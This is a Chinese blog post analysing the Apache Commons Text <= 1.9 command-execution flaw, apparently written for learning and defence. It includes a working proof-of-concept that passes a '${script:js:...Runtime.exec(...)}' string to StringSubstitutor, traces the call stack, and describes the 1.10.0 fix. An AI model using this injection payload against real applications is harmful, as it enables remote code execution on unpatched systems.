Apache commons text <= 1.9 命令执行漏洞

前言:Apache commons text <= 1.9 命令执行漏洞分析笔记

什么是Apache commons text

Apache commons text 是一个专注于处理字符串的算法的依赖库

漏洞引入

作者在近期更新了相关的Apache commons text 1.10版本

官方commit地址:https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea

    <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -->
    <dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-text</artifactId>
      <version>1.9</version>
    </dependency>

可以看到里面的示例很多,这里随便拿一条作者的测试用例来进行学习测试,如下所示,可以看到成功通过script脚本来进行运算得出结果

public class TestMain {
    public static void main(String[] args) {
        String replace = StringSubstitutor.createInterpolator().replace("3 + 4 = ${script:javascript:3 + 4}");
        System.out.println(
                replace
        );
    }
}

那么这里的话就会想到通过ScriptEngine来进行命令执行的操作

public class TestMain {
    public static void main(String[] args) {
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        interpolator.replace("${script:js:java.lang.Runtime.getRuntime().exec(\"open -a calculator.app\")}");

    }
}

可以发现成功执行计算机,如下图所示

漏洞分析

该漏洞的本质就是在 动态解析${}格式字符串的时候,没有限制相关敏感的组件,比如如果能调用script的话,那么就能通过script来进行命令执行

StringSubstitutor interpolator = StringSubstitutor.createInterpolator();初始化的时候,其中的return new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup());的interpolatorStringLookup方法中的存在script相关的敏感映射关系

StringLookupFactory.INSTANCE.interpolatorStringLookup()生成的StringLookup对象会被作为字符串解析的时候使用,如果碰到了${}就会进行使用配合解析,这个对象作为StringSubstitutor中的variableResolver成员

variableResolver其中就存在对应的script对象

StringSubstitutor在对字符串进行操作解析的过程获取script对象会在如下的地方进行触发

最后走入到org.apache.commons.text.lookup.ScriptStringLookup#lookup从而进行解析相关的script的代码从而导致命令执行

lookup:82, ScriptStringLookup (org.apache.commons.text.lookup)
lookup:135, InterpolatorStringLookup (org.apache.commons.text.lookup)
resolveVariable:1067, StringSubstitutor (org.apache.commons.text)
substitute:1433, StringSubstitutor (org.apache.commons.text)
substitute:1308, StringSubstitutor (org.apache.commons.text)
replace:816, StringSubstitutor (org.apache.commons.text)
main:13, TestMain (com.zpchcbd.text)

漏洞修复

    <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -->
    <dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-text</artifactId>
      <version>1.10.0</version>
    </dependency>

再次进行调试的时候,相关的script已经无法看到了

若要用到script等,则需要自行设置System.setProperty

System.setProperty("org.apache.commons.text.lookup.StringLookupFactory.defaultStringLookups","SCRIPT");

攻击面扩展

虽然这边的ScriptStringLookup等无法进行使用了,但是还是可以通过XmlStringLookup来进行xml攻击,该方法来自漏洞百出,这里进行记录

posted @ 2022-10-14 15:16  zpchcbd  阅读(902)  评论(0编辑  收藏  举报